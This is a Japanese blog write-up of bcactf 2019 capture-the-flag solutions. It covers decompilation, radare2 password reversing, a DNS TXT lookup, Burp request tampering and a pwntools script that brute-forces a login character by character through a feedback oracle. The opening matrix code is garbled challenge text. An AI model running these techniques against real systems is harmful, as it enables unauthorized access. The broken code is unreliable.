¦ef unitBasisVector(dimension, pos):    """
        returns a unit basis vector with a One 
        at index 'pos' (indexing at 0)
    """
    # precondition¢  assert(isinstance(dimension, int) and (isinstance(pos, int)))
    ans = [0]*dimension    ans[pos] = 1
    return Vector(ans)

¦Ff axpy(scalar, x, y):¢  """¢      input: a 'scalar' and two vectors 'x' and 'y'
        output: a vector
        computes the axpy operation
    """
    # precondition    assert(isinstance(x, Vector) and (isinstance(y, Vector))
           and (isinstance(scalar, int) or isinstance(scalar, float)))
    return (x*scalar + y)
def randomVector(N, a, b):¢   """
        input: size (N) of the vector.¢             random range (a,b)
        output: returns a random vector of sizeN, with 
                random integer components between 'a' and 'b'.    """
    random.seed(None)
    ans = [random.randint(a, b) for i in range(N)]
    return Vector(ans)

¦Ff text_to_int(inp):    hexed = binascii.hexlify(inp)
    return int(hexed,16)

¦Ff int_to_text(inp):    hexed = hex(inp)
    return bytearray.fromhex(hexed[2:]).decode()
class Matrix(object):¢  """
    class: Matrix
    This class represents a arbitrary matrix.¢   Overview about the methods:           __str__() : returns a string representation 
           operator * : implements the matrix vector multiplication                        implements the matrix-scalar multiplication.
           changeComponent(x,y,value) : changes the specified component.¢         component(x,y) : returns the specified component.¢          width() : returns the width of the matrix
           height() : returns the height of the matrix
           operator + : implements the matrix-addition.¢          operator - _ implements the matrix-subtraction
    """
¢  def __init__(self, matrix, w, h):        """
            simple constructor for initialzes 
            the matrix with components.¢       """
        self.__matrix = matrix
        self.__width = w
        self.__height = h
¢  def __str__(self):
        """
            returns a string representation of this
           matrix.
        """
        ans = ""
        for i in range(self.__height):¢         ans += "|"
            for j in range(self.__width):¢              if j < self.__width - 1:¢                   ans += str(self.__matrix[i][j]) + ","
                else:¢                   ans += str(self.__matrix[i][j]) + "|\n"
        return ans¢   def changeComponent(self, x, y, value):¢       """
            changes the x-y component of this matrix
        """
        if x >= 0 and x < self.__height and y >= 0 and y < self.__width:
            self.__matrix[x][y] = value
        elseraise Exception("changeComponent: indices out of bounds")
¢  def component(self, x, y):¢     """
           returns the specified (x,y) component
        """
       if x >= 0 and x < self.__height and y >= 0 and y < self.__width:            return self.__matrix[x][y]¢       else:
            raise Exception("changeComponent: indices out of bounds")
    def width(self):
        """
            getter for the width
       """
        return self.__width
¢   def height(self):
        """
            getter for the height
        """
        return self.__height
    def __mul__(self, other):¢       """
            implements the matrix-vector multiplication.            implements the matrix-scalar multiplication        """
        if isinstance(other, Vector):  # vector-matrix
            if (len(other) == self.__width):                ans = zeroVector(self.__height)
                for i in range(self.__height):¢                   summe = 0
                    for j in range(self.__width):¢                       summe += other.component(j) * self.__matrix[i][j]¢                 ans.changeComponent(i, summe)
                    summe = 0
                return ans
            elseraise Exception(
                    "vector must have the same size as the " + "number of columns of the matrix!")
        elif isinstance(other, int) or isinstance(other, float):  # matrix-scalar
            matrix = [[self.__matrix[i][j] *¢                    other for j in range(self.__width)] for i in range(self.__height)]¢           return Matrix(matrix, self.__width, self.__height)
¢   def __add__(self, other):¢     """¢         implements the matrix-addition.
        """¢     if (self.__width == other.width() and self.__height == other.height()):¢         matrix = []¢         for i in range(self.__height):                row = []¢             for j in range(self.__width):¢                   row.append(self.__matrix[i][j] + other.component(i, j))
                matrix.apend(row)¢          return Matrix(matrix, self.__width, self.__height)¢     elseraise Exception("matrix must have the same dimension!")
    def __sub__(self, other):¢      """¢          implements the matrix-subtraction.
        """
        if (self.__width == other.width() and self.__height == other.height()):
            matrix = []¢         for i in range(self.__height):                row = []
                for j in range(self.__width):¢                   row.append(self.__matrix[i][j] - other.component(i, j))
                matrix.append(row)
            return Matrix(matrix, self.__width, self.__height)
        elseraise Exception("matrix must have the same dimension!")

def squareZeroMatrix(N):¢  """
        returns a square zero-matrix of dimensionNxN    """
    ans = [[0]*N for i in range(N)]    return Matrix(ans, N, N)
¦ef randomMatrix(W, H, a, b):
    """
        returns a random matrix WxH with integer components¢     between 'a' and 'b'
    """
    random.seed(None)
    matrix = [[random.randint(a, b) for j in range(W)] for i in range(H)]¢ return Matrix(matrix, W, H)
¦ain()

ブログのsyntax highlightよりは多分見やすく見れてます。 f:id:Yunolay:20190612022718p:plain

flag = 820921601166721424573282546345206805820898697321521913920196691573868657577500743744203737234698を見た瞬間Demimal to ASCIIして勝ったって思ったけどそうは行かなかった。

デコードしたソースをよく見てみる。

def main():    print(int_to_text(flag))

¦Ff int_to_text(inp):    hexed = hex(inp)
    return bytearray.fromhex(hexed[2:]).decode()

直す。

import binascii

def int_to_text(inp):
    hexed = hex(inp)
    return bytearray.fromhex(hexed[2:]).decode()

flag = 820921601166721424573282546345206805820898697321521913920196691573868657577500743744203737234698

print(int_to_text(flag))

実行結果

$ python3 solve.py
bcactf{0p71c4lly_r3c0gn1z3d_ch4r4c73rs}

FLAG : bcactf{0p71c4lly_r3c0gn1z3d_ch4r4c73rs}

programming

1+1=window

hex+hex=hex

one.txt
two.txt

one.txtとtwo.txtが与えられる。

one.txt

0x23 0x49 0x16 0x46 0x45 0x16 0x3c 0x3c 0x45 0x64 0x16 0x37 0x3c 0x3c 0x3c 0x16 0x46 0x45 0x37 0x1e 0x49 0x16 0x46 0x49 0x16 0x1e 0x16 0x32 0x32 0x3c 0x32 0x49 0x3c 0x64 0x1e 0x32 0x3c 0x18 0x64 0x32 0x32 0x50 0x14 0x64 0x32 0x5a 0x45 0x32 0x32 0x55 0x50 0x49 0x3c 0x14 0x3c 0x5f

two.txt

0x26 0x2b 0x0a 0x23 0x2e 0x0a 0x29 0x25 0x2e 0x15 0x0a 0x37 0x25 0x25 0x2c 0x0a 0x23 0x2e 0x37 0x09 0x2b 0x0a 0x23 0x2b 0x0a 0x21 0x0a 0x30 0x31 0x25 0x31 0x2b 0x2a 0x17 0x13 0x2d 0x2c 0x18 0x0c 0x01 0x2d 0x29 0x1c 0x11 0x2d 0x1b 0x2e 0x01 0x2d 0x1b 0x29 0x2b 0x2c 0x1c 0x32 0x1e

問題文的に全部足せってことかな。 int(s, 16)で整数にして足したらchr()でASCII文字にする。

one = open('one.txt', 'r').read().split()
two = open('two.txt', 'r').read().split()

flag = ''

for i in range(len(one)):
    result = int(one[i],16) + int(two[i],16)
    flag += (chr(result))

print(flag)

実行結果

$ python solve.py
It is easy naah isn't it ? bcactf{1_h0p3_y0u_us3_pyth0n}

FLAG : bcactf{1_h0p3_y0u_us3_pyth0n}

public-library

Hidden in this mysterious public library is the flag. Can you get it?

PublicLibrary.class

classファイルが与えられる。
とりあえずでコンパイラーにかける。

Java decompiler online

デコンパイル結果
PublicLibrary.java

import kotlin.Metadata;

@Metadata(mv={1, 1, 13}, bv={1, 0, 3}, k=1, d1={"\000\024\n\002\030\002\n\002\020\000\n\002\b\002\n\002\020\016\n\002\b\002\030\0002\0020\001B\005¢\006\002\020\002J\006\020\005\032\0020\004R\016\020\003\032\0020\004XD¢\006\002\n\000¨\006\006"}, d2={"LPublicLibrary;", "", "()V", "flag", "", "getFlag", "public-library"})
public final class PublicLibrary { private final String flag = "bcactf{t4k3_4_j4v4_c7a55_789208694209642475}";
  
  @org.jetbrains.annotations.NotNull
  public final String getFlag() { return flag; }
  
  public PublicLibrary() {}
}

FLAG : bcactf{t4k3_4_j4v4_c7a55_789208694209642475}

reversing

basic-pass-1

Your company is testing out a new login software, and being one of the CompSec experts, they want you to test it. They say that they have hidden a key somewhere in the program, and want you to look for it. Find it, and they might even consider giving you a pay raise...
They have told you that there is a four digit pin on the program to unlock it.

basic-pass-1-linux
basic-pass-1-mac
basic-pass-1-win.exe

linux, mac, win用のバイナリを用意してくれている優しい世界。 俺はlinuxを選ぶぜ!

$ file basic-pass-1-linux 
basic-pass-1-linux: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=9cee815

$ chmod +x basic-pass-1-linux

$ ./basic-pass-1-linux 
Usage: ./basic-pass-1-linux <passcode>%

パスコードが必要らしい。以下問題文より4桁の。

They have told you that there is a four digit pin on the program to unlock it.

とりあえず1234かなって思ったら当たり引いてしまった・・・

./basic-pass-1-linux 1234
Congrats! The key is bcactf{hey_its_a_password}

申し訳ないからちゃんと見ようかなって思ったらstringsに普通にいた

$ strings basic-pass-1-linux | grep bcactf                            
Congrats! The key is bcactf{hey_its_a_password}

更に申し訳ないのでちゃんと見た。 radare2で解析した下に画像で用意してあるので読まないでどうぞ。

$ r2 basic-pass-1-linux 
 -- Hello Mr. Anderson
[0x00000610]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Enable constraint types analysis for variables
[0x00000610]> afl
0x00000000    2 25           loc.imp._ITM_deregisterTMCloneTable
0x000005a0    3 23           sym._init
0x000005d0    1 6            sym.imp.puts
0x000005e0    1 6            sym.imp.fprintf
0x000005f0    1 6            sym.imp.atoi
0x00000600    1 6            sym..plt.got
0x00000610    1 42           entry0
0x00000640    4 50   -> 40   sym.deregister_tm_clones
0x00000680    4 66   -> 57   sym.register_tm_clones
0x000006d0    5 58   -> 51   entry.fini0
0x00000710    1 10           entry.init0
0x0000071a    6 126          main
0x000007a0    4 101          sym.__libc_csu_init
0x00000810    1 2            sym.__libc_csu_fini
0x00000814    1 9            sym._fini
[0x00000610]> s main
[0x0000071a]> pdf
/ (fcn) main 126
|   int main (int argc, char **argv, char **envp);
|           ; var int32_t var_10h @ rbp-0x10
|           ; var int32_t var_4h @ rbp-0x4
|           ; arg int argc @ rdi
|           ; arg char **argv @ rsi
|           ; DATA XREF from entry0 (0x62d)
|           0x0000071a      55             push rbp
|           0x0000071b      4889e5         mov rbp, rsp
|           0x0000071e      4883ec10       sub rsp, 0x10
|           0x00000722      897dfc         mov dword [var_4h], edi     ; argc
|           0x00000725      488975f0       mov qword [var_10h], rsi    ; argv
|           0x00000729      837dfc02       cmp dword [var_4h], 2
|       ,=< 0x0000072d      7540           jne 0x76f
|       |   0x0000072f      488b45f0       mov rax, qword [var_10h]
|       |   0x00000733      4883c008       add rax, 8
|       |   0x00000737      488b00         mov rax, qword [rax]
|       |   0x0000073a      4889c7         mov rdi, rax
|       |   0x0000073d      e8aefeffff     call sym.imp.atoi           ; int atoi(const char *str)
|       |   0x00000742      3dd2040000     cmp eax, 0x4d2
|      ,==< 0x00000747      7513           jne 0x75c
|      ||   0x00000749      488d3dd80000.  lea rdi, str.Congrats__The_key_is_bcactf_hey_its_a_password ; 0x828 ; "Congrats! The key is bcactf{hey_its_a_password}"
|      ||   0x00000750      e87bfeffff     call sym.imp.puts           ; int puts(const char *s)
|      ||   0x00000755      b800000000     mov eax, 0
|     ,===< 0x0000075a      eb3a           jmp 0x796
|     |||   ; CODE XREF from main (0x747)
|     |`--> 0x0000075c      488d3df50000.  lea rdi, str.Incorrect_passcode. ; 0x858 ; "Incorrect passcode."
|     | |   0x00000763      e868feffff     call sym.imp.puts           ; int puts(const char *s)
|     | |   0x00000768      b801000000     mov eax, 1
|     |,==< 0x0000076d      eb27           jmp 0x796
|     |||   ; CODE XREF from main (0x72d)
|     ||`-> 0x0000076f      488b45f0       mov rax, qword [var_10h]
|     ||    0x00000773      488b10         mov rdx, qword [rax]
|     ||    0x00000776      488b05a30820.  mov rax, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5 ; [0x201020:8]=0
|     ||    0x0000077d      488d35e80000.  lea rsi, str.Usage:__s__passcode ; 0x86c ; "Usage: %s <passcode>"
|     ||    0x00000784      4889c7         mov rdi, rax
|     ||    0x00000787      b800000000     mov eax, 0
|     ||    0x0000078c      e84ffeffff     call sym.imp.fprintf        ; int fprintf(FILE *stream, const char *format,   ...)
|     ||    0x00000791      b801000000     mov eax, 1
|     ||    ; CODE XREFS from main (0x75a, 0x76d)
|     ``--> 0x00000796      c9             leave
\           0x00000797      c3             ret

f:id:Yunolay:20190609235047p:plain

|       |   0x0000073d      e8aefeffff     call sym.imp.atoi           ; int atoi(const char *str)
|       |   0x00000742      3dd2040000     cmp eax, 0x4d2

atoiでintにしたあとcmp eax, 0x4d2で比較している。

$ python
Python 3.7.3 (v3.7.3:ef4ec6ed12, Mar 25 2019, 22:22:05) [MSC v.1916 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x4d2
1234

FLAG : bcactf{hey_its_a_password}

basic-pass-2

Your company is testing out its new employee portal. After your previous shot, they made the password a bit more secure, so you can't brute force it anymore. Rise up to the occasion and demonstrate why a local machine is a bad idea, and having the account credentials on a remote server is a better idea.

basic-pass-2-linux basic-pass-2-mac

ハブられたWindows

$ file basic-pass-2-linux 
basic-pass-2-linux: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=385e506faa05107abbd000ac2e9b1b23a15aeb86, not stripped

$ chmod +x basic-pass-2-linux

$ ./basic-pass-2-linux 
Usage: ./basic-pass-2-linux <password>

引数にパスワードを取るやつですな。

$ ./basic-pass-2-linux 1234
Incorrect passcode.

だめだった。

$ r2 basic-pass-2-linux 
 -- what happens in #radare, stays in #radare
[0x00000680]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Enable constraint types analysis for variables
[0x00000680]> afl
0x00000000   12 459  -> 507  loc.imp._ITM_deregisterTMCloneTable
0x00000600    3 23           sym._init
0x00000630    1 6            sym.imp.puts
0x00000640    1 6            sym.imp.__stack_chk_fail
0x00000650    1 6            sym.imp.strcmp
0x00000660    1 6            sym.imp.fprintf
0x00000670    1 6            sym..plt.got
0x00000680    1 42           entry0
0x000006b0    4 50   -> 40   sym.deregister_tm_clones
0x000006f0    4 66   -> 57   sym.register_tm_clones
0x00000740    5 58   -> 51   entry.fini0
0x00000780    1 10           entry.init0
0x0000078a    8 250          main
0x00000890    4 101          sym.__libc_csu_init
0x00000900    1 2            sym.__libc_csu_fini
0x00000904    1 9            sym._fini
[0x00000680]> s main
[0x0000078a]> pdf
/ (fcn) main 250
|   int main (int argc, char **argv, char **envp);
|           ; var int32_t var_50h @ rbp-0x50
|           ; var int32_t var_44h @ rbp-0x44
|           ; var int32_t var_40h @ rbp-0x40
|           ; var int32_t var_38h @ rbp-0x38
|           ; var int32_t var_30h @ rbp-0x30
|           ; var int32_t var_28h @ rbp-0x28
|           ; var int32_t var_20h @ rbp-0x20
|           ; var int32_t var_18h @ rbp-0x18
|           ; var int32_t var_14h @ rbp-0x14
|           ; var int32_t var_8h @ rbp-0x8
|           ; arg int argc @ rdi
|           ; arg char **argv @ rsi
|           ; DATA XREF from entry0 (0x69d)
|           0x0000078a      55             push rbp
|           0x0000078b      4889e5         mov rbp, rsp
|           0x0000078e      4883ec50       sub rsp, 0x50               ; 'P'
|           0x00000792      897dbc         mov dword [var_44h], edi    ; argc
|           0x00000795      488975b0       mov qword [var_50h], rsi    ; argv
|           0x00000799      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=0x19e8 ; '('
|           0x000007a2      488945f8       mov qword [var_8h], rax
|           0x000007a6      31c0           xor eax, eax
|           0x000007a8      837dbc02       cmp dword [var_44h], 2
|       ,=< 0x000007ac      0f8595000000   jne 0x847
|       |   0x000007b2      48b874686973.  movabs rax, 0x2073692073696874 ; 'this is '
|       |   0x000007bc      48ba61206d75.  movabs rdx, 0x6d206863756d2061 ; 'a much m'
|       |   0x000007c6      488945c0       mov qword [var_40h], rax
|       |   0x000007ca      488955c8       mov qword [var_38h], rdx
|       |   0x000007ce      48b86f726520.  movabs rax, 0x756365732065726f ; 'ore secu'
|       |   0x000007d8      48ba72652070.  movabs rdx, 0x7773736170206572 ; 're passw'
|       |   0x000007e2      488945d0       mov qword [var_30h], rax
|       |   0x000007e6      488955d8       mov qword [var_28h], rdx
|       |   0x000007ea      48b86f72642c.  movabs rax, 0x742069202c64726f ; 'ord, i t'
|       |   0x000007f4      488945e0       mov qword [var_20h], rax
|       |   0x000007f8      c745e868696e.  mov dword [var_18h], 0x6b6e6968 ; 'hink'
|       |   0x000007ff      c645ec00       mov byte [var_14h], 0
|       |   0x00000803      488b45b0       mov rax, qword [var_50h]
|       |   0x00000807      4883c008       add rax, 8
|       |   0x0000080b      488b00         mov rax, qword [rax]
|       |   0x0000080e      488d55c0       lea rdx, [var_40h]
|       |   0x00000812      4889d6         mov rsi, rdx
|       |   0x00000815      4889c7         mov rdi, rax
|       |   0x00000818      e833feffff     call sym.imp.strcmp         ; int strcmp(const char *s1, const char *s2)
|       |   0x0000081d      85c0           test eax, eax
|      ,==< 0x0000081f      7513           jne 0x834
|      ||   0x00000821      488d3df00000.  lea rdi, str.Congrats__The_key_is_bcactf_its_another_password ; 0x918 ; "Congrats! The key is bcactf{its_another_password}"
|      ||   0x00000828      e803feffff     call sym.imp.puts           ; int puts(const char *s)
|      ||   0x0000082d      b800000000     mov eax, 0
|     ,===< 0x00000832      eb3a           jmp 0x86e
|     |||   ; CODE XREF from main (0x81f)
|     |`--> 0x00000834      488d3d0f0100.  lea rdi, str.Incorrect_passcode. ; 0x94a ; "Incorrect passcode."
|     | |   0x0000083b      e8f0fdffff     call sym.imp.puts           ; int puts(const char *s)
|     | |   0x00000840      b801000000     mov eax, 1
|     |,==< 0x00000845      eb27           jmp 0x86e
|     |||   ; CODE XREF from main (0x7ac)
|     ||`-> 0x00000847      488b45b0       mov rax, qword [var_50h]
|     ||    0x0000084b      488b10         mov rdx, qword [rax]
|     ||    0x0000084e      488b05cb0720.  mov rax, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5 ; [0x201020:8]=0
|     ||    0x00000855      488d35020100.  lea rsi, str.Usage:__s__password ; 0x95e ; "Usage: %s <password>"
|     ||    0x0000085c      4889c7         mov rdi, rax
|     ||    0x0000085f      b800000000     mov eax, 0
|     ||    0x00000864      e8f7fdffff     call sym.imp.fprintf        ; int fprintf(FILE *stream, const char *format,   ...)
|     ||    0x00000869      b801000000     mov eax, 1
|     ||    ; CODE XREFS from main (0x832, 0x845)
|     ``--> 0x0000086e      488b4df8       mov rcx, qword [var_8h]
|           0x00000872      6448330c2528.  xor rcx, qword fs:[0x28]
|       ,=< 0x0000087b      7405           je 0x882
|       |   0x0000087d      e8befdffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|       |   ; CODE XREF from main (0x87b)
|       `-> 0x00000882      c9             leave
\           0x00000883      c3             ret

それどころかStringsにいた。

$ strings basic-pass-2-linux | grep bcactf
Congrats! The key is bcactf{its_another_password}

申し訳ないのでちゃんとみた。 f:id:Yunolay:20190610022319p:plain

./basic-pass-2-linux "this is a much more secure password, i think"
Congrats! The key is bcactf{its_another_password}

FLAG : bcactf{its_another_password}

basic-pass-3

Ok, the sysadmin finally admits that maybe authentication should happen on a server. Can you just check everything really quick to make sure there aren't any problems now? He put some readouts for people who forget their passwords.

nc challenges.ctfd.io 30133

接続するとEnter the passwordでパスワードの入力が求められる。
適当に入力すると00000000000000000000000000000000000000が返ってきた。
aaaaを入力したところ00100000000000000000000000000000000000が返ってきたため、FLAGと同じ文字列を入力した場合、全て1で返ってくると推測出来る。

$ nc challenges.ctfd.io 30133
welcome to the login portal.
Enter the password.
a
00000000000000000000000000000000000000
Enter the password.
aaaa
00100000000000000000000000000000000000
Enter the password.
bcactf
11111100000000000000000000000000000000
Enter the password.

solve.py

from pwn import *

r = remote('challenges.ctfd.io', 30133)

check = '00000000000000000000000000000000000000'
characters = '{}_@#$!%^&*()-+=0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
flag = ''
check_i = 0

print r.recvuntil('welcome to the login portal.')

while check != '11111111111111111111111111111111111111':
    for i in range(len(characters)):
        print r.recvuntil('Enter the password.\n')
        r.sendline(flag + characters[i])
        print '[*]Sending : ' + flag + characters[i]
        check = r.recvline().rstrip()
        print check
        if check[check_i] == '1':
            flag += characters[i]
            check_i += 1
            print '[*]Found! : ' + flag

print flag

実行結果

$ python solve.py 
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/user/.pwntools-cache/update to 'never'.
[*] You have the latest version of Pwntools (3.12.2)
[+] Opening connection to challenges.ctfd.io on port 30133: Done
welcome to the login portal.

Enter the password.

[*]Sending : {
00000000000000000000000000000000000000
Enter the password.

[*]Sending : }
00000000000000000000000000000000000000
Enter the password.

[*]Sending : _
00000000000000000000000000000000000000
Enter the password.

[*]Sending : @
00000000000000000000000000000000000000
Enter the password.


(snip)


[*]Sending : a
00000000000000000000000000000000000000
Enter the password.

[*]Sending : b
10000000000000000000000000000000000000
[*]Found! : b
Enter the password.

[*]Sending : bc
11000000000000000000000000000000000000
[*]Found! : bc
Enter the password.

[*]Sending : bcd
11000000000000000000000000000000000000
Enter the password.

[*]Sending : bce
11000000000000000000000000000000000000
Enter the password.

[*]Sending : bcf
11000000000000000000000000000000000000
Enter the password.

[*]Sending : bcg
11000000000000000000000000000000000000
Enter the password.

[*]Sending : bch
11000000000000000000000000000000000000
Enter the password.


(snip)


[*]Sending : bcactf{y0u_4r3_4_m4573rm1nD!_Ym9vbGluU
11111111111111111111111111111111111110
Enter the password.

[*]Sending : bcactf{y0u_4r3_4_m4573rm1nD!_Ym9vbGluV
11111111111111111111111111111111111110
Enter the password.

[*]Sending : bcactf{y0u_4r3_4_m4573rm1nD!_Ym9vbGluW
11111111111111111111111111111111111110
Enter the password.

[*]Sending : bcactf{y0u_4r3_4_m4573rm1nD!_Ym9vbGluX
11111111111111111111111111111111111110
Enter the password.

[*]Sending : bcactf{y0u_4r3_4_m4573rm1nD!_Ym9vbGluY
11111111111111111111111111111111111110
Enter the password.

[*]Sending : bcactf{y0u_4r3_4_m4573rm1nD!_Ym9vbGluZ
11111111111111111111111111111111111110
Enter the password.

[*]Sending : bcactf{y0u_4r3_4_m4573rm1nD!_Ym9vbGlu{
11111111111111111111111111111111111110
Enter the password.

[*]Sending : bcactf{y0u_4r3_4_m4573rm1nD!_Ym9vbGlu}
Correct!

FLAG : bcactf{y0u_4r3_4_m4573rm1nD!_Ym9vbGlu}

scratch-that

I made a Guess the Flag game! It's in Scratch, what could be easier? Click here to access the game.

https://scratch.mit.edu/projects/276674047/

リンクをクリックすると次のページに飛ぶ

f:id:Yunolay:20190611171224p:plain

旗をクリックすると猫がFLAGを聞いてくる。

f:id:Yunolay:20190611171231p:plain

中を見るからソースが見れる。
genelate flagでは次のことをしていた。

f:id:Yunolay:20190611171420p:plain

最初の方針としてpythonで同じコードを書いてFLAGを表示させようとしていた。
だけどFLAGが合わない。

d3hct4rcsをずらすのもいい。
whyをフランス語に翻訳するのもGoogle翻訳先生に頼んだらPourquoiって言ってた。
背景の名前はemptyかな。
var3は0を掛けてるから乱数関係なし。
問題はvar4で(12341234 / 1234) + (23412342453425 * (1000 % 3))はいいとして+25と6って何って思った。
31足したりstringsとして256を足したりしたが、答えが合わなくて諦めていた。

方針を変えてソースをいじって猫にFLAGを表示させてみる。
check flagを消してその前にgenelate flagを入れてflagを発言させる。

f:id:Yunolay:20190611172115p:plain

f:id:Yunolay:20190611172535p:plain

FLAGが得られたわけだけどなんで計算が合わなかったか試してみた。 +25と6は+256なら計算が合ってた。

flag = 'bcactf{'

var1 = 'd3hct4rcs'
var2 = len(var1)


while var2 >= 1:
    flag += var1[var2-1]
    var2 = var2 -1

flag += '_'
flag += 'Pourquoi'
flag += '_'
flag += 'empty'
flag += '_'

var3 = (12341234 / 1234) + (23412342453425 * (1000 % 3))+(256)
flag += str(var3)
flag += '}'

print(flag)
$ python solve.py 
bcactf{scr4tch3d_Pourquoi_empty_23412342463682}

FLAG : bcactf{scr4tch3d_Pourquoi_empty_23412342463682}

f:id:Yunolay:20190611172438p:plain

compression

A stranger on the internet is giving away his passwords. They claim they are encrypted, but you quickly realize that it is only compressed. You have to get hold of their passwords so that you can prove them wrong.

999

999というファイルが与えられる。 bzip2なので解凍する。

$ file 999
999: bzip2 compressed data, block size = 900k

$ bunzip2 999
bunzip2: Can't guess original name for 999 -- using 999.out

$ file 999.out 
999.out: gzip compressed data, last modified: Thu Jan 10 00:13:40 2019, from Unix

$ mv 999.out 999.gz

$ gunzip 999.gz

$ file 999
999: POSIX tar archive (GNU)

$ tar -xvf 999
871

解凍できた871でも同じことを繰り返す。

(snip)
$ tar -xvf 871.out 
123

$ file 123
123: ASCII text

ただのテキストファイルが降ってきた。 HintにもあるがどうやらHexdumpのようだ。

Hint

123 and 240 are hexdumps (not necessarily compression)
$ strings 123 
00000000: 1f8b 0808 348e 365c 0003 3531 3100 019d  ....4.6\..511...
00000010: 0762 f842 5a68 3931 4159 2653 59f7 ed65  .b.BZh91AY&SY..e
00000020: dd00 006d 7fff ffff ffff ffff ffff ffff  ...m............
00000030: ffff ffff 7fff ffff ffff ffff ffff 7fff  ................
00000040: ffff ffff ffff d004 1ef7 79a5 af7b 65d7  ..........y..{e.
00000050: b9ce 6578 6453 d264 0f50 6991 ea3c 88f2  ..exdS.d.Pi..<..
00000060: 9ea1 a0f4 8d34 c434 643c 93d4 d0d3 ca3d  .....4.4d<.....=
(snip)

linux - Hexdump command reverse - Stack Overflow

Hexdump fileはxxd file | xxd -r file > outputでReverse出来る。

$ xxd 123 | xxd -r 123 > output
$ file output 
output: gzip compressed data, was "511", last modified: Thu Jan 10 00:13:40 2019, from Unix

後は解凍を繰り返す。

$ cat 000
bcactf{A_l0t_0f_c0mPr3s510n}

FLAG : bcactf{A_l0t_0f_c0mPr3s510n}

web

wite-out

Wait, where's the flag?

f:id:Yunolay:20190609221513p:plain

ここになんかある・・ コピペしてdone.

FLAG : bcactf{17s_r1gh7_h3r3_1n_wh1t3_1397856}

dig-dug

I found this super sketchy website called hole.sketchy.dev. Can you help me dig up some of its secrets?

Oh, and someone told me that the secrets are TXT. I don't know what this means, so good luck!

hole.sketchy.devのTXTレコードを見ればいいらしい。

# dig hole.sketchy.dev TXT

; <<>> DiG 9.10.3-P4-Ubuntu <<>> hole.sketchy.dev TXT
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 27244
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 5

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; MBZ: 0005 , udp: 4096
;; QUESTION SECTION:
;hole.sketchy.dev.        IN  TXT

;; ANSWER SECTION:
hole.sketchy.dev. 5   IN  TXT "bcactf{d1g-f0r-h073s-w/-dns-8044323}"

;; AUTHORITY SECTION:
sketchy.dev.      5   IN  NS  greg.ns.cloudflare.com.
sketchy.dev.      5   IN  NS  molly.ns.cloudflare.com.

;; ADDITIONAL SECTION:
greg.ns.cloudflare.com.   5   IN  AAAA    2400:cb00:2049:1::adf5:3b73
molly.ns.cloudflare.com. 5    IN  AAAA    2400:cb00:2049:1::adf5:3acd
greg.ns.cloudflare.com.   5   IN  A   173.245.59.115
molly.ns.cloudflare.com. 5    IN  A   173.245.58.205

;; Query time: 26 msec
;; SERVER: 127.0.1.1#53(127.0.1.1)
;; WHEN: Sun Jun 09 06:10:09 PDT 2019
;; MSG SIZE  rcvd: 238

FLAG : bcactf{d1g-f0r-h073s-w/-dns-8044323}

My friend built a cookie clicker. How do I beat it?

http://35.225.2.44:5001/

クリックするとクッキーが増える例のあれ。

f:id:Yunolay:20190609222623p:plain

下のshop押すと何故かタブが閉じたのでソースみて/shopがあったので直接リンクでshopを見た。

f:id:Yunolay:20190609222804p:plain

100000000000000000000 Cookieでフラグが買えるらしい。
自動クリックツールで放置ですな。

Developer toolで確認するとcookieに所持しているcookieがあるので書き換える。
って思ったがうまく行かなかった。

f:id:Yunolay:20190609223027p:plain

Cookie Editを使用して書き換えようとしたけどうまく行かなかった。

f:id:Yunolay:20190609223957p:plain

方針を変えてBurp SuiteでInterceptしてリクエストを書き換える。
shopでflagを購入するときのリクエス

f:id:Yunolay:20190609224005p:plain

レスポンス

f:id:Yunolay:20190609224114p:plain

FLAG : cbactf{c00k13s_c71ck3d_34_a2344d}

Quest

copypasta

See discord (#copypasta).

pinned.

f:id:Yunolay:20190612014045p:plain

FLAG : bcactf{c0pYp4st4s_Ar3_c00l}

you-wanted-it

Make it print the number 1.

f:id:Yunolay:20190610215535p:plain

f:id:Yunolay:20190610215559p:plain

f:id:Yunolay:20190610215612p:plain

🤔
done.

free-real-estate

Choose "A" or "B", the choice is yours. It's free real estate!

https://www.youtube.com/watch?v=yNxPVj0hejg

f:id:Yunolay:20190610191825p:plain

俺はBを選ぶぜ!!!!

・・・

-1 pointでした。

FLAG : B?

for-the-night-is-dark-1

Hello, traveler. Welcome to your quest. You must walk the Red Lord's shining path, guided by his shining stars. Here is a picture of those stars. A map if you will. May the Lord of Light give you wisdom.

NOTE: As more heroes complete each stage of the quest, fewer points will be available to future teams.

starmap.bmp

f:id:Yunolay:20190610205744j:plain

拡大したやつ

f:id:Yunolay:20190610205836p:plain

Hint

One per row, top to bottom.

上から下らしい。
赤のビットを抽出してみる。 一見http;//に見える。

00 00 00 00 00 00 00 00 00 00 00 68 00 00 00 00 :             h    
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 :                  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 :                  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 :                  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 :                  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 :                  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 00 :                t 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 :                  
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 :                  
